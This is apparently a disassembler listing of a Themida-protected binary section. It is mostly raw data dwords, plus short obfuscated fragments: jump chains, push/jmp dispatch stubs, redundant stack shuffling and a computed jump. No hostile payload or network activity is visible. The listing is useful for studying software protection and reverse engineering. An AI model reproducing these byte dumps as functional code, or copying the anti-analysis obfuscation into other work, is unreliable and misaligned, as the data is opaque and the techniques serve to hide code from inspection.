dd 6651B2CCh, 6AFC71B8h, 0C995FF00h, 8B061031h, 915FEBC0h
dd 23E1B23Ch, 50801526h, 0DA82D2E3h, 69F3D338h, 2FBF9D53h
dd 68286FF9h, 0EE888882h, 74C66E2Eh, 67F79287h, 883301ABh
dd 8BE543D3h, 0DE7EAC52h, 6BB26E82h, 0AFE01D05h, 261C9981h
dd 0CD3E3598h, 0CC1014AFh, 4610F6Bh, 0A8404E54h, 0E45FB6C5h
dd 9624793h, 8029B6C7h, 0D85C824h, 8E8F5BAh, 77000000h
dd 0D541BA71h, 8B081EFBh, 1007D18Dh, 8B525F06h, 10014595h
dd 0C7815A06h, 5A4Ch, 0A880Fh, 89600000h, 102F09B5h, 61C78B06h
dd 166E68h, 10E900h, 0FBB00000h, 562DD5ABh, 64756FDCh
dd 66663D47h, 335E4919h, 100FE58Dh, 0F5078B06h, 0D06FF081h
dd 958B49E7h, 6100755h, 9DBBC081h, 8B661B01h, 0A3C081DEh
dd 23695129h, 100FD995h, 8B078906h, 102F059Dh, 0D6EF8106h
dd 660A7D9Bh, 0C781DF8Bh, 0A7D9BD2h, 0F4ED98Bh, 0FFFFBC85h
dd 0B1958BFFh, 8D06102Fh, 1610C58Dh, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1804h, 0C3514100h, 53FFC980h
dd 0E9D88B5Bh, 13h, 82819643h, 0EF7F0C67h, 84F0BD4Fh, 9AF3EE67h
dd 89DEB088h, 1009F58Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1804h, 0C3514100h, 83C08D18h, 0D1858B18h
dd 906101Dh, 1020858Dh, 1985C706h, 0D4061023h, 6A00006Bh
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h
dd 42000000h, 0C0DFC352h, 0C185C725h, 61022h, 66000000h
dd 5C79C781h, 0EA5B5FFh, 6A0610h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1C0424h, 51410000h, 0C9F42FC3h, 0F2D875BBh
dd 95FF3BCDh, 6102DB9h, 66C68B60h, 86E5C081h, 0FF006A61h
dd 1031C995h
; ---------------------------------------------------------------------------
loc_5AC530: ; DATA XREF: Themida_:0054D4F0o
push es
mov eax, eax
jmp short loc_5AC54F
; ---------------------------------------------------------------------------
db 0F8h, 0D1h, 0F3h
dd 0CDA63D07h, 5250A9A7h, 91961333h, 0B6CF8418h, 92D9C421h
db 0E9h, 0CEh, 32h
; ---------------------------------------------------------------------------
loc_5AC54F: ; CODE XREF: Themida_:005AC533j
jmp loc_5AC56E
; ---------------------------------------------------------------------------
dd 0F6E4FF0h, 2440000h, 4 dup(0)
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5AC56E: ; CODE XREF: Themida_:loc_5AC54Fj
jmp loc_5AD157
; ---------------------------------------------------------------------------
push 61612AAh
jmp loc_55FF58
; ---------------------------------------------------------------------------
push 61613BFh
jmp loc_55FF58
; ---------------------------------------------------------------------------
push 616154Dh
jmp loc_55FF58
; ---------------------------------------------------------------------------
push 61615FCh
jmp loc_55FF58
; ---------------------------------------------------------------------------
push 61616A6h
jmp loc_55FF58
; ---------------------------------------------------------------------------
push 6161898h
jmp loc_55FF58
; ---------------------------------------------------------------------------
push 616193Eh
jmp loc_55FF58
; ---------------------------------------------------------------------------
push 6161A5Ch
jmp loc_55FF58
; ---------------------------------------------------------------------------
push 6161B64h
jmp loc_55FF58
; ---------------------------------------------------------------------------
db 0FAh, 0E5h, 33h
dd 7F398F5Eh, 38EAE3D2h, 90429A6Bh, 26E0F2C3h, 783B0B79h
dd 0AFBA862h, 75481DD7h, 13E2AF61h, 5B5906C0h, 55DC7B08h
dd 0DF791DDEh, 46AE8784h, 18B7695Dh, 2C7E276Ah, 5C1D4D0Eh
dd 0F7464D07h, 74752AE4h, 0BC47B6CEh, 1DD85A26h, 3245B241h
dd 2311B82Fh, 53A01F73h, 11B82F40h, 0A1B1408Fh, 5B90CAD8h
dd 0E42062Ah, 0C79B564Dh, 0BE941961h, 4550h, 0C516F100h
dd 37435226h, 2BC0EE3h, 1A481159h, 8FDC8B62h, 17C84500h
dd 0FB08A955h, 0D8457270h, 7A19051Dh, 0B844062Dh, 5F1AC911h
dd 93B91D83h, 37C433BEh, 11B83818h, 6C64513Dh, 3E5F0BB2h
dd 0E29Eh, 75CE200h, 0E3F7464Dh, 85BAA29h, 0F1E22F4Eh
dd 0C39D6A37h, 0B517C849h, 44B7ECA6h, 16EBA5B5h, 0D7830AC4h
dd 621C2F96h, 34E6DE8Bh, 13C0E18Dh, 9F88CB2h, 2AB657Ch
dd 0CA037201h, 42705718h, 0D51DD84Eh, 0C89C4E88h, 5428169Bh
dd 0E990125Dh, 77617CAh, 0A96377D2h, 0A9287C2Ah, 788AAD5Ah
dd 0DBCB0BA5h, 9E4EE687h, 0F6B0A24Fh, 1C8F0C07h, 6B0BCB58h
dd 0D548E794h, 610D0BA5h, 42986540h, 35443288h, 6968E216h
dd 98FD3h, 0EB9DB200h, 571147B6h, 0F0A2BB0Ah, 48FA52A3h
dd 0FEB8AA1Bh, 9013E351h, 0E2D3803Ah, 8D6035EFh, 0EBDA8739h
dd 93113EF8h, 56A4B340h, 17B11DDEh, 0A9065C63h, 644F015Ch
dd 17C844D5h, 93C09480h, 0AF683122h, 712B1E6Bh, 39A13016h
dd 0C8F9ABCEh, 0A6FAAA17h, 48FDA5FAh, 0DC8B621Ah, 0C845008Fh
dd 0F897E417h, 5D17C844h, 3122B3B1h, 81822B77h, 0D845F4F6h
dd 0EC93831Dh, 41FB4E9Bh, 4484A720h, 944B11B8h, 0B7A309D9h
dd 0C392BE93h, 0D6000000h, 3B5EA95Ah, 1A17C845h, 8FC4416Ah
dd 6B5FAED5h, 99B342B1h, 24D783D8h, 0C195F1F9h, 484B14C2h
dd 0C87725FBh, 46005317h, 0FDB7AC19h, 89F685D6h, 17C86DE6h
dd 0D3DE7F6Fh, 59A8176Fh, 7E2C5305h, 5799E6DDh, 0C01DD87Ch
dd 341A7FD4h, 83166150h, 0D217CB15h, 0F483F07Fh, 610BA5AAh
dd 0AB2F42B5h, 9FB70BA5h, 0CB9787EDh, 87F483F4h, 0BA5AAE8h
dd 0E5E0816Dh, 97663BF5h, 2F338943h, 73E2165Fh, 87A58F0h
dd 0AA9D0000h, 65AABF8h, 0AFA6174Ch, 0FF55A8FDh, 0B5A5184Dh
dd 0EED6A6FBh, 287D372Bh, 95CA84D5h, 277C2E28h, 96CB85D6h
dd 1938C316h, 3C1DDE58h, 65CF6A2h, 0B5A6174Ch, 450025Ah
dd 75C034Fh, 0E4F7464Dh, 0CD89301Bh, 0F6AA1142h, 531A48A9h
dd 93CB0CC0h, 5C71A6E1h, 0D7A491Dh, 1DD92EA3h, 0C597824h
dd 75481DD7h, 0AA669D66h, 0F5F511FFh, 430FC900h, 0D17DEF3Ch
dd 207398FEh, 0C3CA7CD1h, 944D5617h, 6B38F2E1h, 15927B98h
dd 697FCD6Bh, 0BF84462Eh, 6E2FE9DFh, 0FAE94497h, 226D1440h
dd 8A727A0Ch, 0D68F2AB9h, 80322A85h, 54015501h, 49B87261h
dd 5E184BBAh, 3140B35Fh, 248A727Ah, 4B9C3778h, 7A404F9Ch
dd 69158A72h, 79A9BF48h, 0DAC98A72h, 0BB75661Fh, 0A73F4744h
dd 1581B180h, 0B7AC194Ch, 0A7506FDh, 8A72A267h, 0CA43FEEEh
dd 0F28413B9h, 0F1547F20h, 3DCA394Dh, 90832F63h, 0F8CB9884h
dd 0A5BD181Bh, 0FCA5D909h, 0BE3549F5h, 1E31BE2Dh, 37846247h
dd 93A12647h, 0CC8A7268h, 73B6D120h, 2BBDCCD9h, 0EC3B5819h
dd 4461F07Bh, 8F47E52h, 43CE6067h, 4C037E52h, 1525E291h
dd 2B41001h, 9574CF7Bh, 0B23071C9h, 51FAA72Ch, 45C1Dh
dd 0AB5A6500h, 28D6FDB7h, 44F18087h, 54F717C8h, 8C17C855h
dd 17C838D1h, 0C8314CDFh, 0ACD07E17h, 4F84AA55h, 3ACB1DD8h
dd 0C17BCF22h, 144014C2h, 3F8A496h, 0DB71F0DCh, 6ECh, 5906B80Fh
dd 0E5BA746Ch, 560BBD18h, 0E6BB6D67h, 5C09C317h, 459518E8h
dd 0F2E7D68Bh, 449A6B38h, 0DBF0BD92h, 0E1707421h, 0DE5A0396h
dd 4F4521Dh, 464D075Ch, 41F87FE3h, 47D92649h, 25D22175h
dd 1DDEADFBh, 8D13402Ch, 1468D63Dh, 0AB9F4E9Dh, 1957B0F1h
dd 8D17C2B0h, 8B32E4E0h, 0C6B6BEDFh, 0A463338Eh, 41EDBB03h
dd 8B39C63Dh, 0B462513Bh, 287C2E27h, 621A48A9h, 398DDC8Bh
dd 115A0887h, 4156D1B6h, 0BD34E05Ch, 0E1AEC12Eh, 56A75020h
dd 97434A04h, 2CDEF6CBh, 4BB8F9A5h, 9EF3AD9Eh, 6442FC4Fh
dd 9D9B28A0h, 3D37CDCCh, 60000006h, 0DE0B567h, 615401BBh
dd 18E5BA6Ch, 68550ABCh, 99EBB872h, 3AF4E6A9h, 87419865h
dd 41F3EBDAh, 0F8B2A114h, 4DBA49ABh, 1DDE5A2Ah, 5ADDCD2Bh
dd 57D10E3Dh, 446DE3C9h, 6FD81ADh, 0D88A0F79h, 0C5CCB81Dh
dd 5AA96378h, 365F7F3Dh, 0B6646B25h, 0FCDBE3DBh, 180BC0B2h
dd 0FFA0F4A2h, 4BE655D4h, 4DA4D886h, 0C8DBC8A2h, 420FFF17h
dd 0A898DE75h, 996F020Bh, 0FF630BA8h, 8C5B3887h, 0D41219BAh
dd 9DEAD982h, 11BE5DE3h, 1C695844h, 444F10C2h, 923C5BF7h
dd 3BFF9305h, 0EEDD0592h, 0CEA0B634h, 0E5E4E829h, 5934Fh
dd 0EFA1B600h, 43FD53A2h, 0F4A69F0Eh, 44F64E9Fh, 0F2AC9E0Fh
dd 24E7CF9Dh, 0CE1F742Eh, 2194C17Bh, 0D7267B2Dh, 1795CA84h
dd 5B1837C4h, 0A33D1DDEh, 621A48F7h, 563AE08Bh, 0ED7C1DDEh
dd 0FA7A23DDh, 2536830Ah, 0DFDE98CAh, 5F38D624h, 0E6BA7C2Ah
dd 3F13C519h, 0CBAE8F12h, 0F37F8406h, 80FF5358h, 99682231h
dd 723BF5ECh, 0D791C233h, 0ED4899E8h, 0EE9C23DDh, 7CCE1BA2h
dd 430FBBC2h, 372C791Ah, 6DEC567Dh, 6072FFB4h, 0CB0005A6h
dd 0A651A211h, 11B19093h, 0DC89D2C2h, 9A6B60C6h, 1AB51BEh
dd 48990000h, 0E08B621Ah, 1DD8469Ah, 12C4004Dh, 0D1026F3Eh
dd 0EE3D5617h, 445FF27Dh, 6F611B8h, 0D0EFA9B9h, 0E98E7922h
dd 0DE11B843h, 77DBA63Fh, 0A24FA00Fh, 20CEF5AFh, 4532887Fh
dd 26B517C8h, 0A842B6D9h, 0A3EF9F0Bh, 5470FDEEh, 42FC4DA2h
dd 5CB7AC19h, 832F4E00h, 42B0BF2Ch, 0F9A50BA8h, 84D726ADh
dd 0AA1B5DBBh, 3F137383h, 0A552A112h, 0BA7DB92h, 6A1C32C3h
dd 0C2EBB763h, 847B032Fh, 0B7F1E1F7h, 88F38611h, 597C6E9h
dd 0ADD4806Ch, 97C6CB62h, 926D0405h, 80E6A251h, 60832C98h
dd 125D0EC5h, 597897Fh, 5D8526D6h, 0CAB46FF7h, 53E6h, 0EFE69300h
dd 1247963Dh, 0D98D3958h, 1A48D298h, 0E2E08B62h, 951DD845h
dd 0F69DEAE9h, 0E811B844h, 4A9938F2h, 0B8449ABDh, 0F6CBBB11h
dd 0D48F2EE0h, 864BD632h, 4C430EB4h, 0B2218591h, 9DAD3CF7h
dd 6D2EDCE3h, 9354EF75h, 98DEBEh, 0EE7B0000h, 258526D8h
dd 464D075Ch, 0AA29E3F7h, 2F4E085Bh, 864091E0h, 0B3125B07h
dd 4AB9E6A0h, 53490A4Dh, 5A039FEBh, 0C849936Dh, 3CF6E517h
dd 0A8DC8267h, 0F509AE59h, 5C481DDAh, 67C21865h, 0B6EBB771h
dd 63591347h, 0DC068087h, 0A130C8CBh, 0C4000003h, 398CD98Bh
dd 0C5386D27h, 44B1DE90h, 0BC095608h, 0C5B7ECA6h, 6E283AFDh
dd 0C37DD421h, 75271F8Eh, 0C47ECD20h, 31BE0D8Fh, 1DDE5D1Eh
dd 5AF19937h, 0D6FDB7ABh, 6041DF19h, 4115D1F1h, 0FBB5A520h
dd 4A0457A6h, 75C4D15h, 0E4F7464Dh, 0F786752Ah, 7CD82DDFh
dd 5617C3CAh, 823D5A14h, 20A2DB71h, 68BDDC27h, 0EC9817C8h
dd 7D10F7B8h, 6317C8E9h, 17C7E8D0h, 0C13054FAh, 47681A34h
dd 0FA092FBCh, 6E1E1DDDh, 2D03004Fh, 0CB14AA3Fh, 54FAF7B8h
dd 0D436C130h, 0E317C184h, 0E5CFB533h, 78FBE21Ah, 2FBE0h
dd 77291E00h, 0CB85DB2Ah, 7C2E2796h, 0CC7ED627h, 7A342697h
dd 0AC6F5725h, 56A7FCB6h, 0A91C4903h, 5F4E03B5h, 0FFDDB26Ch
dd 5E70FF6Ch, 8BE51DDEh, 0EB3D5A9Fh, 7E583401h, 0C91AEBB4h
dd 3221700Fh, 98C62B78h, 58620DE4h, 0F1DD8FCh, 94DF905Fh
dd 11B8D105h, 0D8FBA450h, 0B8D0E88Bh, 0BD78E711h, 93277FE5h
dd 2A6EBEh, 48B20000h, 0E08B621Ah, 1DD845E2h, 928D324h
dd 4C11B845h, 8975FFA0h, 4496BD0Ah, 8A3911B8h, 0B78D13EFh
dd 0D87CBE93h, 0C4000000h, 0B0AC075Ch, 0CFF30EEFh, 376BE0FBh
dd 56AFDB98h, 33CBC3B8h, 3D8C335Fh, 0DD2C530Dh, 408D34EEh
dd 1162510Bh, 0C89BD366h, 0C9928217h, 0A0D52B9Ch, 0B0A317C8h
dd 75CA9F6h, 7FE3464Dh, 14BB7566h, 38C33A66h, 1DD8AA42h
dd 9C31865h, 0DB88DC8Ah, 70CB2BE8h, 0E4374854h, 740836BBh
dd 0A8D7F27Dh, 6EFD17CBh, 0A6386E01h, 7637E70Bh, 529F0EFEh
dd 0AA194600h, 0FAC1EDEDh, 1F4054ECh, 0FCFAB4A6h, 0E215FC10h
dd 0DDA73D3Ch, 1, 6D4015C7h, 1F4A15Bh, 78451ACCh, 8F5AA5Ch
dd 0F94B18D2h, 9A548609h, 27E1F8C5h, 0A1538B7Ah, 18D201F4h
dd 6D1A694Bh, 1DDE5ECAh, 5C3DED8Bh, 0A6174C06h, 0B0035AB5h
dd 10AFE395h, 8AD690C1h, 44A9C833h, 0C0AC17C8h, 5A93BF94h
dd 80FFB1ABh, 3A2889D2h, 2006B42h, 41DD846h, 45690873h
dd 0EC11B8h, 0AA29D55Fh, 0B845365Dh, 8F2A9911h, 93B82DB3h
dd 0E11CBEh, 30BD0000h, 0AF5B6214h, 18590B42h, 4D075C52h
dd 29E3F746h, 3AE5BDDAh, 0A4DF99B0h, 5A03356Bh, 0F314EE39h
dd 6F6417C8h, 0BE0DE0B5h, 361C7D04h, 0F3105F4Eh, 0EEE4FC29h
dd 0A6E18D34h, 0EEAF2817h, 0D90B9F19h, 637B081Dh, 4E02B410h
dd 0E585145Fh, 24D011B8h, 21D02370h, 0BB367731h, 43FD4E97h
dd 0EBC28E3Ch, 0CB9A0A80h, 22917D17h, 301326D1h, 0B1420BA6h
dd 0F0B1E59Fh, 19746613h, 0D420EC8h, 0FAF0AAA0h, 0E215DA0Ch
dd 0D5BB5150h, 0F8000000h, 85782DDFh, 0F9CC9953h, 905D32E4h
dd 0E0CD8234h, 116330EAh, 0B26C5E21h, 0FFB910DDh, 0B96B6352h
dd 10CA19ECh, 65126143h, 1DDE5FD2h, 5A35E583h, 453B5EA9h
dd 0B1AB17C8h, 6E6621FFh, 0D098E73Ch, 0BE47683Ch, 307DD28Ch
dd 9F65521Bh, 522DE27Ah, 5C0951FEh, 5FB2AC07h, 0DEE5B16Bh
dd 105D6430h, 4D5401BBh, 8AE5FCE1h, 731F9E58h, 0EF7C731Fh
dd 1DDE5645h, 56A32ADAh, 0A7164B05h, 8DAC57B4h, 0C811B233h
dd 0BA0988DCh, 18878FDDh, 2453ED1h, 1E46D3F1h, 0C2456673h
dd 1B2A4688h, 0E8DE8BE0h, 0B36E7536h, 4A17D102h, 0FAE687Bh
dd 0B9D88AC2h, 29DC950Eh, 0FF92DD3Ah, 560839A0h, 803FAA6h
dd 92D2458h, 0A9FCA5A4h, 464D075Ch, 3AEh, 0BFEBF200h, 3251035Ch
dd 9736F0E3h, 5B62144Ah, 8201BB0Eh, 5E651F33h, 8201BB0Fh
dd 68671933h, 6B12C419h, 51702A1Eh, 0E1895194h, 4C181h
dd 0E9830000h, 240C8704h, 2404895Ch
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], eax
push 6C38h
mov [esp], edx
push 35ECh
mov [esp], esi
mov esi, 6161162h
mov eax, esi
pop esi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop edx
push eax
sub dword ptr [esp], 2E8967E5h
pop dword ptr [edx+8]
add dword ptr [edx+8], 2E8967E5h
push dword ptr [esp]
pop edx
add esp, 4
mov eax, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_55FF58
; ---------------------------------------------------------------------------
db 82h
; ---------------------------------------------------------------------------
inc eax
fcom qword ptr [ecx-7FDA8F1Ah]
loc_5AD157: ; CODE XREF: Themida_:loc_5AC56Ej
mov eax, 6161C5Eh
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 23299410h, 5891523Bh, 1BE2F7FDh, 7B032D3Dh, 4314494h
dd 406ACDB8h, 484BCEAFh, 58A46F89h, 6E891024h, 21C46643h
dd 0EE2604h, 56C61BDEh, 56CE9B88h, 5879C514h, 0AE8h, 0D23B0F00h
dd 417A36Ah, 0E9F3B9B2h, 0Dh, 4F764AD0h, 925D145Ah, 0BD3C6A25h
dd 0CF815A2Fh, 55D6B721h, 70E2C281h, 8B660000h, 68DAh
dd 81660000h, 595276EBh, 8E8h, 520F8600h, 978CD528h, 5BDDB314h
dd 660A048Bh, 0E880D381h, 0ABA8F081h, 8D0F384Bh, 6, 0B123B660h
dd 0C0816171h, 3F80C2F3h, 9EACF081h, 50FC4523h, 0AE9FD681h
dd 48F0D01h, 0C8B0F0Ah, 0E9000000h, 7, 0B0DCD18Bh, 0FC374A2h
dd 382h, 51C38000h, 6604E983h, 814DA8BEh, 0FF8FF4F9h, 0C850FFFh
dd 0E9000000h, 2Fh, 281C1BDCh, 0E90D440Fh, 13h, 45C7AE78h
dd 6A184759h, 20D698B1h, 2AD55634h, 0E9A0ED95h, 0FFFFFF78h
dd 0DF3B7A58h, 92AEDDA1h, 0E97599D8h, 0B9h, 3E99A39Ch
dd 0CA459CD7h, 0B6E1C8C3h, 0A7ACABDAh, 4592B395h, 0B395A1F4h
dd 0ECABDA00h, 915D20A7h, 0B1F46BB2h, 20752096h, 6BB79B55h
dd 92A5BCF2h, 7594A196h, 0B799603Ah, 99BD329Fh, 9CB2E9B5h
dd 0A3F292A5h, 0EF7695ACh, 4E0097B1h, 9FA5B4F9h, 7B6B5C00h
dd 8A924AF0h, 0F352D000h, 0F653F545h, 0D6D979A3h, 0E3AFF144h
dd 7D41F445h, 92B000D7h, 756BBF97h, 0BFCF60FDh, 93BCF996h
dd 207D20B2h, 0ABF79B57h, 9EBD9492h, 9DBCE3B2h, 899BE0CEh
dd 8F9D728Fh, 0B4EEA9FDh, 0E1B6F66Dh, 0ED7293BCh, 0D00097B3h
dd 0CD43F1B6h, 0F0A8h, 47000000h, 0E3129D74h, 5E99E0h
dd 162AE900h, 0B4680000h, 0E9061620h, 0FFFA6194h, 1621C868h
dd 618AE906h, 0BD68FFFAh, 0E9061622h, 0FFFA6180h, 16247368h
dd 6176E906h, 0F268FFFAh, 0E9061624h, 0FFFA616Ch, 1625D568h
dd 6162E906h, 8C68FFFAh, 0E9061626h, 0FFFA6158h, 16278D68h
dd 614EE906h, 2468FFFAh, 0E9061628h, 0FFFA6144h, 16296168h
dd 613AE906h, 5C68FFFAh, 0E906162Ah, 0FFFA6130h, 162BE768h
dd 6126E906h, 0A868FFFAh, 0E906162Ch, 0FFFA611Ch, 162E4968h
dd 6112E906h, 8468FFFAh, 0E906162Fh, 0FFFA6108h, 16313568h
dd 60FEE906h, 3268FFFAh, 0E9061632h, 0FFFA60F4h, 62D619B9h
dd 42F62DD3h, 59D50EB3h, 3CF02DE2h, 10CC0BBDh, 0C87CEE1Ah
dd 0A346D589h, 0BB6FE662h, 964DCC80h, 0FE02ED61h, 0DA63B70Bh
dd 0CA524F6Bh, 2A447932h, 39B9F9AFh, 0AFC01AC0h, 0EFAFCCA8h
dd 0A85F2FD8h, 0D60BB473h, 0D2E13EFAh, 1734F709h, 0EF67FCE2h
dd 6ED87F73h, 8D943CA2h, 579A5FF6h, 37397A4Ch, 42h, 1EBD5C95h
dd 2A7324Ch, 8459DDC9h, 0FC7CAA87h, 0DEF06C67h, 972BDE00h
dd 6F942383h, 83BE04F3h, 0DA569423h, 0EC5A01FDh, 0F942383h
dd 5C4C3C31h, 0E87A7807h, 54913013h, 397B4379h, 0E659h
dd 4D7B300h, 0F36F235Eh, 71A65DD6h, 23620685h, 28E3FD6Fh
dd 6DCC7C9Ah, 12C99E7Ah, 59702459h, 0AC17DB2h, 6DCC0182h
dd 0BD8FC47Bh, 390E47FEh, 0F4DF685h, 3005014Eh, 64103440h
dd 8D35F40Ah, 6992332Eh, 868DF00Dh, 2DD914BAh, 0A1DC9249h
dd 7B5571F5h, 3589390h, 0E49C3398h, 597DF9ADh, 0E1D2FBE5h
dd 0F2CB72CDh, 8E25B895h, 0CEC2FBB2h, 0DD5C6E52h, 4DCF126h
dd 1591AC05h, 0DCEE6A9Eh, 0F06CAB5Dh, 0E388C769h, 4034F85Ah
dd 91697A2Ah, 7E000013h, 46D589CCh, 64F3679Eh, 51C884BDh
dd 6EED619Eh, 0C9BF7BBAh, 5E9D4FBDh, 79BA6BEAh, 559036C5h
dd 74A962D9h, 40EBD5B8h, 6BDA5C82h, 0D7BF8562h, 3B1B2496h
dd 2F41371Bh, 0CCC3C67Ch, 25421E6Dh, 0FFBBFAAEh, 1E9ACF78h
dd 0DB67223Ch, 3B6DCCC3h, 5C420ADFh, 5D4C1EBDh, 67FC7C74h
dd 847E970h, 5433181Ch, 52B20364h, 51CDCDAAh, 0C1A2CBA5h
dd 0B7889217h, 0AF63A445h, 75188FB3h, 7E44034h, 3C74A21Ch
dd 93324194h, 7B2D7B56h, 0E25B39h, 32B10000h, 542A4479h
dd 0CC7CED55h, 502D096Dh, 702DC4Eh, 6DCC7CBBh, 0BFB3EE94h
dd 9AAFAB63h, 71276F21h, 2981E6D3h, 4413FFE3h, 6DCC60C4h
dd 0E5598E35h, 8C78AD56h, 0BA32A037h, 5FA49944h, 0DFCAA4C0h
dd 67FCBBC2h, 6FD488E4h, 348E7D68h, 0D0943CDFh, 6D5E7054h
dd 0A85F7266h, 0B6A37F73h, 0C077F5E5h, 0C8B0CD0Ch, 0AD161E1h
dd 0D7A9859Eh, 0AD216004h, 8E3B7A2Eh, 40353E87h, 7D2ABB6Bh
dd 6A000012h, 52C985C8h, 70E7639Ah, 4DCC80B9h, 5AE15D9Ah
dd 0C5C377B6h, 5A994BB9h, 75B657DEh, 518C42B9h, 70A55EDDh
dd 3CEFD1BCh, 6BDA5D86h, 0D7BB815Eh, 7C4002A9h, 87826DCCh
dd 6DCC7C3Bh, 938F7FDBh, 714BFDB6h, 0EB5F83BCh, 863CEF11h
dd 5E6DCC7Ch, 0B56EE502h, 0F9F2CC80h, 0BDE1787Eh, 0FAD2A7D0h
dd 265B04D7h, 5AE1F67Ah, 11887CB1h, 32A9255Ah, 374E427Bh
dd 0FDDF5B90h, 0A843893Eh, 0B79BB75Fh, 7DF9ADC9h, 0E7F0B660h
dd 6AF10BD0h, 0AB5383C1h, 0D8098C00h, 0DC9108FCh, 0D6AABFA3h
dd 0FC114ED3h, 490C6867h, 0B22025A2h, 4695248Ch, 0D98C7534h
dd 536A6599h, 47B6CAEh, 0CC750D8h, 1C383CE8h, 99D27742h
dd 1CD289EDh, 201A0CE1h, 671DF799h, 4601430h, 5C7F96E7h
dd 0A1A18782h, 5619BAEh, 82B770EBh, 63984FC6h, 0A90F61F6h
dd 6C7D2945h, 1188h, 1692D575h, 0F6B2E99Fh, 1D91CA7Fh
dd 30ACE99Eh, 14C807A9h, 0D478EA16h, 0EFA21995h, 0C77BFAAEh
dd 0A249D08Ch, 2FEF16Dh, 0DA5EBB07h, 0B67E5B6Bh, 50447932h
dd 75875463h, 0CB6758Bh, 0E86DCC7Ch, 0DFB46F8Ch, 0B767FC1Eh
dd 13A2FFBBh, 16F3B6C8h, 0CE9E13DCh, 3D1A590Bh, 4C0FE13Dh
dd 0C8AC5899h, 70245B11h, 8027D7F4h, 9E13A4C6h, 8D79B257h
dd 7420550Eh, 0DFED8417h, 3E67D36h, 3F8B5DAAh, 9E8Ah, 0A9D70000h
dd 0CC7C4002h, 11C8A46Dh, 0BA4B205Fh, 2BAEC01Bh, 52493D76h
dd 0AFB35F9Eh, 0BCA2B693h, 6DC5E68Fh, 304DD01Bh, 0FC824E73h
dd 10B38667h, 673A1FD3h, 9B4FF81Eh, 0E14E90Dh, 0EA96D577h
dd 2EEB257Dh, 0B195E8D3h, 4A00BB95h, 0FAC19B0Fh, 8DC87E54h
dd 2B99D99h, 513A0F4Eh, 94231EF3h, 8CC16AF1h, 0FD3BE46Fh
dd 3250F907h, 0D3772E62h, 6C88EC98h, 0EFC569F0h, 3DECFE3Dh
dd 94239E85h, 35E10561h, 6C01123Bh, 4FBC7252h, 6784609Bh
dd 106FFAh, 3DC50600h, 7D201646h, 5CA12B40h, 5D4C1EBDh
dd 67F61A21h, 2769209Bh, 4801F05Ah, 44301482h, 1B170BE0h
dd 9CD17A41h, 0C7F29920h, 66154CF4h, 9425B7DCh, 46183C38h
dd 0DE92D173h, 0E320C382h, 0CAB1806h, 0A50EFDCFh, 619E1FD1h
dd 0B770EB05h, 65F4C682h, 53087DC1h, 0EE567653h, 853EF5D2h
dd 0A313AF5Ah, 0DAD19E1Fh, 9E1FA368h, 8EE0908Ch, 1FA3279Bh
dd 7F63BF9Eh, 0FEBDAF63h, 3AF10B4Ah, 9E1FA388h, 8ADBF06Ch
dd 0AB5E706Bh, 942FDA9Ah, 0C4630864h, 0C85E2B40h, 0FD2CBDCh
dd 0FBF0000h, 0E38910CCh, 4A930ACh, 0E3880FCBh, 1A332A6h
dd 0E42006C2h, 1793D276h, 30ACEDA0h, 0ECA05A9h, 2FABE087h
dd 0F949403Ch, 1D6BDA58h, 4402F4C0h, 7E6DCC7Ch, 0D9CD06BBh
dd 0EFD30AC2h, 6F6C8BDAh, 1A7DAE5Dh, 2D0967F6h, 0FDF8853h
dd 8844205Bh, 0E28A5A11h, 9D4CF6B5h, 0CCA89425h, 0EBD8CCA8h
dd 4E3D0FCCh, 9E15FF25h, 0C45FCBFh, 3B3F1C18h, 2A997ADFh
dd 0EDB94031h, 0F53FCh, 4B8E4000h
dd 2960088Fh, 467F26B5h, 23600392h, 3D7C30A7h, 0D7F8B81h
dd 19A01C5Bh, 0F4833778h, 2097134Eh, 93763267h, 584002A9h
dd 47A46BDAh, 3B79327Dh, 9102CB55h, 530CCB49h, 374E421Eh
dd 0CC0DC090h, 0ABCDFCA8h, 25427730h, 60DBFF96h, 0A55A6FAAh
dd 336A584Ch, 7517A2BCh, 3FE64A36h, 6DCCB683h, 0A81A1163h
dd 4C6DCCB6h, 71D7F4D0h, 971h, 1EBD5CDBh, 5D78D4Ch, 2A3F2364h
dd 1A955356h, 0E20B67F6h, 30D6C6F7h, 382501F5h, 36137255h
dd 4316E844h, 64F3679Ch, 777486BBh, 608A92D5h, 33F30878h
dd 257FDA64h, 547E9594h, 0BA85FDDAh, 337013DBh, 0E3FFE33Fh
dd 8E34F709h, 6694251Ah, 4AD70901h, 0E80CB254h, 553EED13h
dd 319E15FCh, 96BAF39Ah, 312A5A31h, 0D5BED640h, 0E70h
dd 0EE6AAD5Dh, 0CE8AC167h, 0F569A247h, 0C884C166h, 0EC609F51h
dd 9C5082FEh, 0B75AE15Dh, 8F33C276h, 0AA61D854h, 0EAD6B975h
dd 0DA59833Fh, 0BE86636Bh, 50447932h, 0A95D9239h, 0DC6D5E22h
dd 89537715h, 0C8673C11h, 6A36E42Dh, 8B3C433h, 2060000h
dd 6DCC7C44h, 15E7F403h, 0F61A1616h, 98B2AE67h, 97F4AB3h
dd 88650BFBh, 0E9708E70h, 1C180C43h, 2559D56Dh, 18353194h
dd 6B14E49Bh, 0BC9E1A36h, 0AE07A98Fh, 0D3A441BBh, 1FA580A1h
dd 0DECD9FC3h, 9425ED64h, 0CC7A480h, 7D721E53h, 0A08B6576h
dd 9E158FF3h, 0C45FC93h, 93381C18h, 4031FBF6h, 0B97D663Eh
dd 0A600000Dh, 8E0DC104h, 0AC2B9FD6h, 7900BCF5h, 962599D6h
dd 11F7B3F2h, 0A6E587F5h, 0C102A332h, 9DD88E0Dh, 0BCF19A21h
dd 78330D00h, 6BDA5ACAh, 32E7AD2Ah, 412A4479h, 0EF3A6Ch
dd 3BF6A37h, 0E36DCC06h, 908E6B87h, 691D52F9h, 9084B972h
